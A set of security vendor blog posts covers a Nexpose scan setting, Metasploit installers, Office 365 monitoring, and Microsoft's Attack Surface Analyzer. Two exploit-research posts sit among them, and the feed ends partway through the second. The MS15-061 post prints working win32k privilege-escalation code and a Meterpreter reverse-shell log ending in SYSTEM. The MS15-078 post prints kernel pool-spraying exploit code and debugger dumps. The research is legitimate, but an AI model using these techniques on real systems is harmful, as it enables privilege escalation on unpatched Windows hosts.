Remote Registry is off by default for most Windows systems, being able to temporarily enable this service gives you a secure method to collecting this additional data.  Safely returning the systems to their original state once they have been successfully scanned ensures security is maintained. Enabling the Remote Registry setting is as simple as checking a box on the relevant scan template then choosing that scan template for your site, and can be performed by a Global Administrator or Administrator.  Alternatively a site owner could choose a scan template for their site which already has this option enabled. To enable Remote Registry for a given Site: Navigate to the relevant Site, choose "edit site" option Navigate to the Templates tab of the site configuration page Under the "Select Scan Template" section - copy an existing template using the icons at the end of the table row (or edit a custom template) In the new window showing "Scan Template Configuration" options, enable check box for "Allow Nexpose to enable Windows services" Read and accept warning Save The next step is to run the scan and see the results - with the benefits of more accurate scan results and less false positives. To disable Remote Registry, an authorized user can update the scan template being used for a site in the site configuration, or alternatively can select a different scan template which does not have this option switched on.  Easy, right?

Metasploit Framework Open Source Installers

Rapid7 has long supplied universal Metasploit installers for Linux and Windows. These installers contain both the open source Metasploit Framework as well as commercial extensions, which include a graphical user interface, metamodules, wizards, social engineering tools and integration with other Rapid7 tools. While these features…

Rapid7 has long supplied universal Metasploit installers for Linux and Windows. These installers contain both the open source Metasploit Framework as well as commercial extensions, which include a graphical user interface, metamodules, wizards, social engineering tools and integration with other Rapid7 tools. While these features are very useful, we recognized that they are not for everyone. According to our recent survey of Metasploit Community users, most only used it for the open source components, preferring to use the command-line tools over the graphical ones. Also, while we do our best to ensure that Metasploit Community and Pro releases are of high quality, they are not always supplied with the latest hot new exploits and payloads available in Metasploit Framework. While it has always been possible to simply setup a development environment and run the latest metasploit-framework code from github directly, it can still be tricky to setup and keep up to date. Kali Linux 2.0 now publishes the open source pieces of Metasploit Framework with its distribution, but the release schedule still follows that of Metasploit Community / Pro editions, and it of course does not necessarily help those who prefer other operating systems. To address the needs of open source enthusiasts, those needing more frequent updates, or those simply looking for an easy way to setup a database for Metasploit Framework development use, we have created Open Source installers for Metasploit Framework for Windows, OS X and Linux x86 and x86-64 platforms. These installers utilize the Omnibus tool from chef in order to package everything needed to run Metasploit Framework, from dependent libraries, specific Ruby versions up to a built-in PostgreSQL database. The installers are easy to install and get up and running in seconds. They are also built and tested automatically each night, so you can always run 'msfupdate' and get the latest exploits and payloads without having to setup a development environment. The installers also integrate with your OSes native package manager, be it Linux RPM or DEB-based, MSI for Windows or PKG for OS X. That makes them easy to uninstall as well. For information about how to install and use these new packages, see our wiki page on the Metasploit Framework project github project. The installers themselves are also open source. So if you see a problem, pull requests or issue reports are very welcome! Note that in addition to these Metasploit-specific installers, there are other ways to get Metasploit Framework, such as through Dave Kennedy's PenTester Framework or even pre-installed in Kali Linux. The Metasploit Framework omnibus installers provide another way to get the open source Metasploit Framework running on a variety of platforms quickly and easily.

Flipping bits in the Windows Kernel

Recently, the MS15-061 bulletin has received some attention. This security bulletin includes patches for several Windows Kernel vulnerabilities, mainly related to win32k.sys. Details of one of them, discovered by Udi Yavo, have been very well covered. First, the same Udi Yavo published details about…

Recently, the MS15-061 bulletin has received some attention. This security bulletin includes patches for several Windows Kernel vulnerabilities, mainly related to win32k.sys. Details of one of them, discovered by Udi Yavo, have been very well covered. First, the same Udi Yavo published details about the Use After Free on a blog entry. Later, Dominic Wang wrote a even more detailed analysis of both the vulnerability and its exploitation on this paper. Finally, Meysam firozi implemented the exploitation described by Dominic and published it. These last days I have been playing with the published exploit, whose ultimate goal is to nullify the ACL of the winlogon.exe process. We won't cover the details of the vulnerability / exploit again because I don't think I can explain it better than the above references .  This vulnerability is definitely a good introduction to win32k.sys exploitation, and there are a lot of awesome materials to work with. That said, while testing the Meysam's exploit, we have been making improvements here and there. I would like to share the details of the first set of modifications in this blog. To begin testing, I built the published exploit, commented the DebugBreak() calls and "int 3" instructions, and tested it on a Windows 7 SP1 machine with win32k.sys 6.1.7601.18773. Immediately, I got a user space crash and the winlogon's ACL wasn't nullified: I then attached a user-mode debugger and ran the exploit again. It caught the next crash in the hooked ClientCopyImage callback, while trying to reuse the freed memory: An out-of-bounds memory access occurs when trying to compute the address of the HWND handler that will be used to trigger the memory reuse: NtUserDefSetText(Secondhwnd[SecondWindowIndex], &plstr); It is notable that a statically-sized array is used to store the window handles used for exploitation: HWND Secondhwnd[50]; The first HWND in the array is the one whose tagWND is modified to allow execution from kernel context. The remaining window handlers are to reuse the freed memory on the ClientCopyImage User Mode Callback. Unfortunately, this means which the vulnerability can be triggered only 49 times. Otherwise, more HWND handles are needed. As a brief reminder, the exploitation primitive used here decrements  an arbitrary memory address: .text:BF8D0038 ; __stdcall HMUnlockObject(x) .text:BF8D0038 _HMUnlockObject@4 proc near ; CODE XREF: ThreadLockExchangeAlways(x,x)+19 p .text:BF8D0038 ; ThreadLockExchange(x,x)+1D p ... .text:BF8D0038 .text:BF8D0038 arg_0 = dword ptr 8 .text:BF8D0038 .text:BF8D0038 mov edi, edi .text:BF8D003A push ebp .text:BF8D003B mov ebp, esp .text:BF8D003D mov eax, [ebp+arg_0] .text:BF8D0040 dec dword ptr [eax+4] ; Allows to decrement the contents of an arbitrary memory address .text:BF8D0043 jnz short loc_BF8D004B .text:BF8D0045 push eax .text:BF8D0046 call _HMUnlockObjectInternal@4 ; HMUnlockObjectInternal(x) .text:BF8D004B .text:BF8D004B loc_BF8D004B: ; CODE XREF: HMUnlockObject(x)+B j .text:BF8D004B pop ebp .text:BF8D004C retn 4 .text:BF8D004C _HMUnlockObject@4 endp This decrement occurs every time the use-after-free is exploited in the hooked user-mode callback. This arbitrary memory decrement translates into code execution when it is used to set the "bServerSideWindowProc" bit in the state field of a tagWND object. In the public exploit, the tagWND object is associated with the Secondhwnd[0] window. In this way its window procedure will be executed from kernel context. The "state" field is found at offset 0x14 on the tagWND object: +0x014 state : Uint4B +0x014 bHasMeun : Pos 0, 1 Bit +0x014 bHasVerticalScrollbar : Pos 1, 1 Bit +0x014 bHasHorizontalScrollbar : Pos 2, 1 Bit +0x014 bHasCaption : Pos 3, 1 Bit +0x014 bSendSizeMoveMsgs : Pos 4, 1 Bit +0x014 bMsgBox : Pos 5, 1 Bit +0x014 bActiveFrame : Pos 6, 1 Bit +0x014 bHasSPB : Pos 7, 1 Bit +0x014 bNoNCPaint : Pos 8, 1 Bit +0x014 bSendEraseBackground : Pos 9, 1 Bit +0x014 bEraseBackground : Pos 10, 1 Bit +0x014 bSendNCPaint : Pos 11, 1 Bit +0x014 bInternalPaint : Pos 12, 1 Bit +0x014 bUpdateDirty : Pos 13, 1 Bit +0x014 bHiddenPopup : Pos 14, 1 Bit +0x014 bForceMenuDraw : Pos 15, 1 Bit +0x014 bDialogWindow : Pos 16, 1 Bit +0x014 bHasCreatestructName : Pos 17, 1 Bit +0x014 bServerSideWindowProc : Pos 18, 1 Bit +0x014 bAnsiWindowProc : Pos 19, 1 Bit +0x014 bBeingActivated : Pos 20, 1 Bit +0x014 bHasPalette : Pos 21, 1 Bit +0x014 bPaintNotProcessed : Pos 22, 1 Bit +0x014 bSyncPaintPending : Pos 23, 1 Bit +0x014 bRecievedQuerySuspendMsg : Pos 24, 1 Bit +0x014 bRecievedSuspendMsg : Pos 25, 1 Bit +0x014 bToggleTopmost : Pos 26, 1 Bit +0x014 bRedrawIfHung : Pos 27, 1 Bit +0x014 bRedrawFrameIfHung : Pos 28, 1 Bit +0x014 bAnsiCreator : Pos 29, 1 Bit +0x014 bMaximizesToMonitor : Pos 30, 1 Bit +0x014 bDestroyed : Pos 31, 1 Bit In the published exploit, the desired tagWND kernel address is leaked in the initialization routine, and its state field (kernelHandle 0x14) is configured as the address to be decremented through a call to the "ArbDecByOne" method: ArbDecByOne((DWORD)kernelHandle + 0x14); VOID ArbDecByOne(DWORD addr){ *(DWORD *)(originalCLS + 0x58) = addr - 0x4; } void init() { // .... /* +0x014 bForceMenuDraw : Pos 15, 1 Bit +0x014 bDialogWindow : Pos 16, 1 Bit +0x014 bHasCreatestructName : Pos 17, 1 Bit +0x014 bServerSideWindowProc : Pos 18, 1 Bit +0x014 bAnsiWindowProc : Pos 19, 1 Bit */ kernelHandle = GetKernelHandle(Secondhwnd[0]); ArbDecByOne((DWORD)kernelHandle + 0x14); // // .... } Let's look at a Windows kernel debug session, observing the default "state" value of the tagWND object (before corruption): +0x014 state : 0x40020018 +0x014 bHasMeun : 0y0 +0x014 bHasVerticalScrollbar : 0y0 +0x014 bHasHorizontalScrollbar : 0y0 +0x014 bHasCaption : 0y1 +0x014 bSendSizeMoveMsgs : 0y1 +0x014 bMsgBox : 0y0 +0x014 bActiveFrame : 0y0 +0x014 bHasSPB : 0y0 +0x014 bNoNCPaint : 0y0 +0x014 bSendEraseBackground : 0y0 +0x014 bEraseBackground : 0y0 +0x014 bSendNCPaint : 0y0 +0x014 bInternalPaint : 0y0 +0x014 bUpdateDirty : 0y0 +0x014 bHiddenPopup : 0y0 +0x014 bForceMenuDraw : 0y0 +0x014 bDialogWindow : 0y0 +0x014 bHasCreatestructName : 0y1 +0x014 bServerSideWindowProc : 0y0 +0x014 bAnsiWindowProc : 0y0 +0x014 bBeingActivated : 0y0 +0x014 bHasPalette : 0y0 +0x014 bPaintNotProcessed : 0y0 +0x014 bSyncPaintPending : 0y0 +0x014 bRecievedQuerySuspendMsg : 0y0 +0x014 bRecievedSuspendMsg : 0y0 +0x014 bToggleTopmost : 0y0 +0x014 bRedrawIfHung : 0y0 +0x014 bRedrawFrameIfHung : 0y0 +0x014 bAnsiCreator : 0y0 +0x014 bMaximizesToMonitor : 0y1 +0x014 bDestroyed : 0y0 The value here is 0x40020018. In order to set bServerSideWindowProc to 1 through decrements, "state" need to have the value 0x3fffffff. It means that the vulnerability needs to be triggered 0x20019 times, definitely more than the 49 HWND handles available. This is the cause of the out-of-bounds user mode crash we were experiencing. Fortunately, we can take a shortcut to avoid these problems. Let's see what happens if we target tagWND 0x16 for decrement, instead of tagWND 0x14: kd> dd fea33ad8 + 14 L2 fea33aec 40020018 80000710 kd> dd fea33ad8 + 16 L1 fea33aee 07104002 Now we just need to trigger the vulnerability three times to set the bServerSideWindowProc bit! Even more interesting, after the three decrements, 0x07104002 will become 0x7103fff. This means nothing outside of the "state" field is modified. That said, we can simplify the original call to ArbDecByOne to become: ArbDecByOne((DWORD)kernelHandle 0x16); Then we can run the exploit again. This time there are no crashes. After running it, we can check the permissions for the winlogon.exe process (with ProcessExplorer for example). There should not have been any permissions assigned to the object: Now we should be able migrate a Meterpreter session, from a non privileged process to the winlogon process, and get a new SYSTEM session back, like this: Get a non privileged session in the target msf exploit(handler) > rexploit [*] Reloading module... [*] Started reverse handler on 172.16.158.1:4444 [*] Starting the payload handler... [*] Sending stage (885806 bytes) to 172.16.158.132 [*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.132:49174) at 2015-09-24 13:25:45 -0500 meterpreter > sysinfo Computer : WIN-RNJ7NBRK9L7 OS : Windows 7 (Build 7601, Service Pack 1). Architecture : x86 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x86/win32 meterpreter > getpid Current pid: 1268 meterpreter > getuid Server username: WIN-RNJ7NBRK9L7\Juan Vazquez meterpreter > ps -S winlogon Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 432 380 winlogon.exe x86 1 C:\Windows\system32\winlogon.exe Run the exploit to nullify the winlogon.exe process ACL Migrate successfully to the winlogon.exe process to get a SYSTEM session meterpreter > migrate 432 [*] Migrating from 1268 to 432... [*] Migration completed successfully. meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > Success! The original exploit with the small modifications can be found on this github branch. There are other interesting things to explore with this exploit. Look forward to those in future blog posts!

From Windows to Office 365: Detecting Intruder Behavior in Microsoft Infrastructures

Microsoft infrastructures have traditionally been on-premise. This is about to change as Microsoft is getting incredible traction with Office 365 deployments. As the corporate infrastructure is changing, many security professionals are concerned about security and transparency of their new strategic cloud services and need to…

Microsoft infrastructures have traditionally been on-premise. This is about to change as Microsoft is getting incredible traction with Office 365 deployments. As the corporate infrastructure is changing, many security professionals are concerned about security and transparency of their new strategic cloud services and need to change their incident detection and response programs. This blog post is a quick introduction to this topic. If you're interested in more info, check out our webcast Increasing Security and Transparency for Office 365.Related Resource: Download our beginner's guide to User Behavior Analytics with UserInsight ToolkitOffice 365 is now the most widely used cloud serviceThe following graph shows the rapid acceptance of Office 365 as a service, which now makes it the most-used cloud service in corporations ahead of Box.com and Salesforce.com, according to a recent Okta study:It's important to remember that Office 365 is more than just email and spreadsheets - it brings a lot of the mainstream IT services to the cloud, including file storage, user management, and collaboration:Lateral movement must also take cloud services into account This raises new questions around how intruders are attacking and moving laterally through your environment. For example, lateral movement should no longer be limited to domain and local user accounts but must take cloud services into account. These credentials don't have to be stolen from Windows endpoints but can also be obtained by phishing a user to log onto a fake Outlook 365 website (or Outlook Web Access, if you prefer an on-premise version) to obtain domain credentials and log onto the cloud services to access sensitive data.Leveraging Micosoft's new Office 365 Activity Feed API for incident detectionMicrosoft has recently made its new Office 365 Activity Feed API available for preview (MSDN documentation). In other words, Office 365 customers can now access this API to get a sneak peek of the functionality and benefit from it before it's publicly available. Earlier this year, Rapid7 announced its status as Microsoft Early Access Partner and Rapid7 UserInsight's integration with the new API. Now that it's available, UserInsight customers get transparency and security across their entire infrastructure, from the Windows endpoint to Office 365.Incident detection and investigation with UserInsightRapid7 UserInsight helps detect attacks through behavior analytics, investigate incidents faster with user context, and expose risky behavior from endpoint to cloud. The User and Entity Behavior Analytics solution complements your SIEM to identify stealthy attack methods, such as compromised credentials and lateral movement, with high confidence to eliminate alert fatigue. UserInsight accelerates investigations up to 20x through an investigations interface that enables your entire team to collaborate. Unlike other monitoring solutions that only look at network logs, UserInsight monitors endpoints, cloud services, and mobile devices and sets traps for intruders. Rapid7's unique understanding of attacker methodologies is the key for evolving highly accurate detection techniques.How UserInsight leverages Microsoft's new Office 365 APIIntegration with the new Microsoft API, allows Rapid7 to automatically collect data from Office 365, SharePoint, Azure Active Directory, and OneDrive and add to its comprehensive view of network and user behavior, giving organizations the ability to detect attacks across network, cloud, and mobile environments. UserInsight builds a baseline understanding of a user's behavior in order to identify changes that would indicate suspicious activity and help security professionals detect an attack. Because UserInsight uniquely collects, correlates and analyzes data across all users and assets, including cloud applications, it can identify suspicious behavior other solutions can't. Examples of potential threats detected within Office 365 include:Advanced Attacks: UserInsight automatically correlates user activity across network, cloud and mobile environments. UserInsight can detect advanced attacks such as lateral movement from the endpoint to the cloud, including Office365.Privileged user monitoring: Privileged users are often the ultimate target for intruders. UserInsight monitors Office 365 administrator accounts and alerts the security team of suspicious activity.Geographically impossible access: The key to protecting the environment is to be able to unify the network, mobile, and cloud environments. For example, a customer would receive an alert if an employee's cell phone synchronizes email via Office 365 from Brazil within an hour of the same user connecting to the corporate VPN from Paris -- clearly one of the connections cannot be legitimate.Account use after termination: UserInsight detects when a suspended or terminated employee accesses their Office 365 account, helping to stop stolen intellectual property and other business-critical information.Access to Office 365 from an anonymization service: UserInsight correlates a constantly-updated list of proxy sites and TOR nodes with an organization's Office 365 activity, detecting attackers that are trying to mask their identity and location.Once suspicious behavior is detected, security teams and incident responders can investigate the users and assets involved in context of various activity from the endpoint to the cloud, now including Microsoft Office 365 activity, and determine the magnitude and impact of the attack. Due to UserInsight's visual investigation capabilities, customers can combine asset and user data on a timeline to rapidly investigate and contain the incident.UserInsight covers more than just Microsoft infrastructuresNo network is a pure Microsoft environment, so UserInsight covers a whole lot more than just Microsoft technologies. The solution monitors Mac and Linux endpoints, integrates with infrastructure such as DNS and Firewalls and security components such as SIEMs and sandboxes. Beyond Office 365, UserInsight integrates with many strategic cloud services:Where to learn more about monitoring Office 365 with UserInsightIf you'd like to learn more about monitoring your Microsoft infrastructure, including Office 365, check out our webcast Increasing Security and Transparency for Office 365. If you are already a Rapid7 UserInsight customer and would like to integrate your Office 365 environment, check out our documentation "Preparing UserInsight to monitor Office 365".

Microsoft Attack Surface Analyzer (ASA): It's for defenders too!

Attack Surface Analyzer, a tool made by Microsoft and recommended in their Security Development Lifecycle Design Phase, is meant primarily for software developers to understand the additional attack surface their products add to Windows systems. As defenders, this tool can be very useful. The tool…

Attack Surface Analyzer, a tool made by Microsoft and recommended in their Security Development Lifecycle Design Phase, is meant primarily for software developers to understand the additional attack surface their products add to Windows systems. As defenders, this tool can be very useful. The tool is meant to identify changes on a system that can have an impact on security, such as the creation of new services, modification of firewall rules, and more. This data is very valuable to you as a defender, as it'll allow you to understand the new software package you're analyzing, see if hardening measures are required, as well as see if the software will work under your current policies, if for example, you have strict firewall rules deployed to your regular workstations and servers. Here's how it works and how to use the results. Baseline Baseline System Before you can analyze the attack surface changes caused by a certain software package, you need to scan a baseline system. Ideally, the baseline system will be as clean as possible. Using a system that has been configured with the corporate standards can be useful, to see if the installer would modify settings, but use a baseline with as little 3rd party software installed as possible. Ideally, a clean, vanilla Windows installation should be used. As of September 14 2015, Microsoft ASA seemed to exhibit compatibility issues with Windows 10. Windows 8.1 was used for this article. Baseline Scan First, install the Attack Surface Analyzer. The tool has command line options, and can be integrated to various testing and deployment processes, but for the purposes of this post, we'll use the GUI. Make sure the "Run new scan" option is selected, then click "Run Scan". The tool will then begin collecting data, which is saved to the CAB file specified on the previous window. Once it has completed, it'll go back to the previous screen. Product Scan Installing Software Install the software package you want to analyze, enabling all features. If this software requires a reboot and/or to be run at least once before being completely set-up, make sure this is performed before running the product scan in the Attack Surface Analyzer. In this example, we'll use the version of iTunes currently available on Apple.com: 12.2.2.25. Scanning the Product The product scan is simply another scan, performed after product installation, reboots and everything has been completed. Run ASA, and select "Run a new scan". Make sure the filename is clear, then hit "Run scan". Again, once the scan completes, we're brought back to the main window of ASA. The Report Now that we have two scans, we need to compare them and generate the report for the product we installed. Select "Generate standard attack surface report" and make sure you select the right baseline and product files, then click "Generate". Note: reports can be generated from any computer with the Attack Surface Analyzer installed, provided the scan files are available to it. An HTML report will be generated, containing a summary, issues identified by the tool, as well as the attack surface report. Using the Results The results can be used to understand the software package, potential issues, but also to identify potential hardening steps to be undertaken after the deployment of this software. While interpreting results, be careful not to assume every single change is related to the software package. There could be other reasons why changes happened at the time the scans were run. This is why using a clean machine is important, as it'll reduce the amount of noise significantly. Using iTunes as an example, in the Attack Surface section of the report, we can see multiple changes made to the system which you might not want to allow in a corporate environment. Firewall rules were added. A potential mitigation for this would be to control Windows Firewall rules centrally using GPOs, ensuring that these rules do not persist on systems where iTunes is deployed. You can also see that iTunes registered multiple services, which are executed as Local System. Two of them are started automatically, and one is on demand. You can then use this information to create a GPO to deny the launch of these services, if they're not necessary to the particular use cases for this software on corporate workstations. If the installer had created local accounts, they would also be identified in this report. Here, we see that the previously mentioned services are linked to the NT Service account. Someone who enjoys puns could say we're only scratching the surface of the information this tool can provide. By running it on software packages that are to be deployed, you'll be able to assess threats, leverage the information in the report to update threat models for corporate assets as well as design hardening methodologies to mitigate some of the potential issues discovered. In environments with important amounts of third party software, the command line version of Microsoft ASA, combined with your favorite software deployment tools, can be combined to provide an easy, mostly automated way for software packaging teams to generate these reports for further analysis. Grab the installers to the most common software you have in your environment and get started!

A debugging session in the kernel

Last week, an awesome paper about the MS15-078 vulnerability and it's exploitation was published by Cedric Halbronn. This vulnerability, originally found and exploited by Eugene Ching, already has a work-in-progress module in Metasploit, which you can follow on github. I recommend checking all the materials…

Last week, an awesome paper about the MS15-078 vulnerability and it's exploitation was published by Cedric Halbronn. This vulnerability, originally found and exploited by Eugene Ching, already has a work-in-progress module in Metasploit, which you can follow on github. I recommend checking all the materials above, not only if you enjoy windows kernel exploitation, but also to better understand this blog. In this post, we will focus on the details of the kernel pool massage used in the exploit. We won't cover other details that  are well explained in the other materials. First of all, a summary of the kernel pool massage is covered in the Cedric's paper: The original exploit uses CHwndTargetProp objects to spray the pool. It allocates lots of these objects in the kernel pool and frees one of them in the middle. The idea is to put our vulnerable buffer ClassDef1Buf in this hole so it is before a known object (CHwndTargetProp). This explains what is the target of the pool massage is, but if you look at the implementation, there is code whose purpose is not obvious at all: VOID DoFengShui() { HINSTANCE hThisInstance; ATOM classAtom; WNDCLASSEXA windowClass; HWND hWnd; HACCEL hAccel; LPACCEL lpAccel; // Strings needed. CHAR winClass[] = { 'w', 'i', 'n', 'c', 'l', 's', '0', '0', '0', '0', 0 }; CHAR winClassFmt[] = { 'w', 'i', 'n', 'c', 'l', 's', '%', '0', '4', 'x', 0 }; CHAR winTitle[] = { 'w', 'i', 'n', 't', 'i', 't', '0', '0', '0', '0', 0 }; CHAR winTitleFmt[] = { 'w', 'i', 'n', 't', 'i', 't', '%', '0', '4', 'x', 0 }; // Initial setup for pool fengshui. lpAccel = (LPACCEL)malloc(sizeof(ACCEL)); SecureZeroMemory(lpAccel, sizeof(ACCEL)); // Create many accelerator tables, and store them. pAccels = (HACCEL *)VirtualAlloc((LPVOID)(ACCEL_ARRAY_BASE), sizeof(HACCEL)* 5000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); for (INT i = 0; i < 5000; i++) { hAccel = CreateAcceleratorTableA(lpAccel, 1); pAccels[i] = hAccel; } // Create window handles, and store them. pHwnds = (HWND *)VirtualAlloc((LPVOID)(HWND_ARRAY_BASE), sizeof(HWND)* 1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); hThisInstance = GetModuleHandleA(NULL); for (INT i = 0; i < 1000; i++) { SecureZeroMemory(&windowClass, sizeof(WNDCLASSEXA)); wsprintfA(winClass, winClassFmt, i); wsprintfA(winTitle, winTitleFmt, i); int winTitleWSize = MultiByteToWideChar(CP_UTF8, 0, winTitle, -1, NULL, 0); LPWSTR winTitleW = (LPWSTR)malloc(winTitleWSize * 2); memset(winTitleW, 0, winTitleWSize * 2); MultiByteToWideChar(CP_UTF8, 0, winTitle, -1, winTitleW, winTitleWSize); windowClass.cbSize = sizeof(WNDCLASSEXA); windowClass.style = CS_HREDRAW | CS_VREDRAW; windowClass.lpfnWndProc = (WNDPROC)WndProc; windowClass.hInstance = hThisInstance; windowClass.hIcon = NULL; windowClass.hCursor = NULL; windowClass.hbrBackground = (HBRUSH)COLOR_WINDOW; windowClass.lpszMenuName = NULL; windowClass.lpszClassName = winClass; classAtom = RegisterClassExA(&windowClass); hWnd = CreateWindowEx(0, MAKEINTATOM(classAtom), winTitleW, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hThisInstance, NULL); if (hWnd) { pHwnds[i] = hWnd; } else { break; } } // Create holes in the series of accelerator tables. for (INT i = 3600; i < 4600; i += 2) { DestroyAcceleratorTable(pAccels[i]); } // Fill the holes with with DCompositionHwndTarget(s). // (at this point we have a series of alternating DCompositionHwndTarget objects) for (INT i = 0; i < 500; i++) { MyCreateDCompositionHwndTarget(pHwnds[i], 0, DCOM_ARRAY_BASE + i * 4); } // Create "adjacent" holes (to the previous holes) in the series of // accelerator tables. for (INT i = 3601; i < 4601; i += 2) { DestroyAcceleratorTable(pAccels[i]); } // Fill the holes with with DCompositionHwndTarget(s). // (at this point we have a contiguous series of DCompositionHwndTarget objects) for (INT i = 500; i < 1000; i++) { MyCreateDCompositionHwndTarget(pHwnds[i], 0, DCOM_ARRAY_BASE + i * 4); } // Create some holes in the contiguous series of DCompositionHwndTarget objects, // that we insert the vulnerable object into. for (INT i = 400; i < 405; i++) { MyDestroyDCompositionHwndTarget(pHwnds[i], 0); } } To better understand this, let's walk through a debugging session with the code above, and then answer some questions about the results observed in the debug journey. I hope this will help you to better understand the massage technique used in the original exploit. A debugging session In this section we are going to debug the pool massage, trying to understand better the memory state after every step: Create many accelerator tables. Create holes in the series of accelerator tables. Fill the holes with with DCompositionHwndTarget's Create "adjacent" holes (to the previous holes) in the series of accelerator tables Fill the holes with with DCompositionHwndTarget(s). Create some holes in the contiguous series of DCompositionHwndTarget objects Insert the vulnerable object into one of the holes above (it's not exactly about the massage, but helps to understand everything). For every step, we will highlight the responsible code snippet, and then review the resulting session paged pool. (1) Create many accelerator tables. The code: pAccels = (HACCEL *)VirtualAlloc((LPVOID)(ACCEL_ARRAY_BASE), sizeof(HACCEL)* 5000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); for (INT i = 0; i < 5000; i++) { hAccel = CreateAcceleratorTableA(lpAccel, 1); pAccels[i] = hAccel; } A summary of the allocations in the session paged pool: kd> !poolused 0x8 Usac . Sorting by Session Tag NonPaged Paged Tag Allocs Used Allocs Used Usac 0 0 5009 321472 USERTAG_ACCEL , Binary: win32k!_CreateAcceleratorTable TOTAL 0 0 5009 321472 A detailed view of the allocations: kd> !poolfind Usac 0x4 Scanning large pool allocation table for Tag 'Usac' (ffffe00008aff000 : ffffe00008b05000) unable to get nt!MmNonPagedPoolStart unable to get nt!MmSizeOfNonPagedPoolInBytes Searching SessionPaged pool (fffff90140000000 : fffff9213fffffff) for Tag 'Usac' *fffff901400bdd30 size: 40 previous size: 50 (Allocated) Usac Process: 49aad7b301bcdec2 *fffff901400bdd70 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 *fffff901400bddb0 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 *fffff901400ec390 size: 40 previous size: 20 (Allocated) Usac Process: 49aad7b301bcdec2 *fffff901401010c0 size: 40 previous size: c0 (Allocated) Usac Process: 49aad7b301bcdec2 *fffff90140101100 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 *fffff9014010f290 size: 80 previous size: 290 (Allocated) Usac Process: 49aad7b3024b1ec2 *fffff901401d8390 size: 40 previous size: 20 (Allocated) Usac Process: 49aad7b301bcdec2 *fffff901401d84e0 size: 40 previous size: 20 (Allocated) Usac Process: 49aad7b301bcdec2 *fffff901401da2a0 size: 40 previous size: d0 (Allocated) Usac Process: 49aad7b301bcdec2 *fffff901401da2e0 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 *fffff901401da320 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 *fffff901401daf40 size: 40 previous size: d0 (Allocated) Usac Process: 49aad7b301bcdec2 *fffff901401daf80 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 *fffff901401dafc0 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 . . . See the complete log here. Every allocation is 0x40 bytes (including the pool header and the alignment). Once defragmentation ends and new pages are allocated, we can observe a pattern in the alignment of the allocations. In the log above: *fffff90144004000 size: 40 previous size: 0 (Allocated) Usac Process: 49aad7b301bcdec2 *fffff90144004040 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 *fffff90144004080 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 *fffff901440040c0 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 *fffff90144004100 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 *fffff90144004140 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 *fffff90144004180 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 *fffff901440041c0 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 *fffff90144004200 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 *fffff90144004240 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 *fffff90144004280 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 *fffff901440042c0 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 (2) Create holes in the series of accelerator tables. The code: for (INT i = 3600; i < 4600; i += 2) { DestroyAcceleratorTable(pAccels[i]); } A summary of the allocations in the session paged pool, after the deletions. kd> !poolused 0x8 Usac . Sorting by Session Tag NonPaged Paged Tag Allocs Used Allocs Used Usac 0 0 4509 289472 USERTAG_ACCEL , Binary: win32k!_CreateAcceleratorTable TOTAL 0 0 4509 289472 This makes sense, just 500 fewer allocations. A summary of the corresponding ListHead (free list), where the freed chunks can be found: kd> dl ffffd001`8cf85e70 200 2 ffffd001`8cf85e70 fffff901`44058790 fffff901`440968f0 fffff901`44058790 fffff901`44058710 ffffd001`8cf85e70 fffff901`44058710 fffff901`44058690 fffff901`44058790 fffff901`44058690 fffff901`44058610 fffff901`44058710 fffff901`44058610 fffff901`44058590 fffff901`44058690 fffff901`44058590 fffff901`44058510 fffff901`44058610 fffff901`44058510 fffff901`44058490 fffff901`44058590 fffff901`44058490 fffff901`44058410 fffff901`44058510 fffff901`44058410 fffff901`44058390 fffff901`44058490 fffff901`44058390 fffff901`44058310 fffff901`44058410 fffff901`44058310 fffff901`44058290 fffff901`44058390 fffff901`44058290 fffff901`44058210 fffff901`44058310 fffff901`44058210 fffff901`44058190 fffff901`44058290 fffff901`44058190 fffff901`44058110 fffff901`44058210 fffff901`44058110 fffff901`44058090 fffff901`44058190 fffff901`44058090 fffff901`44059010 fffff901`44058110 fffff901`44059010 fffff901`44059f90 fffff901`44058090 fffff901`44059f90 fffff901`44059f10 fffff901`44059010 fffff901`44059f10 fffff901`44059e90 fffff901`44059f90 fffff901`44059e90 fffff901`44059e10 fffff901`44059f10 . . . See the complete log here. The ListHead keeps 506 chunks, which makes sense. Subtract 0x10 from the pointers in the ListHead to match the allocations in the session paged pool. Example: AcceleratorTable allocation Freed chunk fffff90144058600 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2 fffff901`44058610 fffff901`44058590 fffff901`44058690 *fffff90144058640 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2 - *fffff90144058680 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2 fffff901`44058690 fffff901`44058610 fffff901`44058710 *fffff901440586c0 size:   40 previous size:   40  (Allocated) Usac 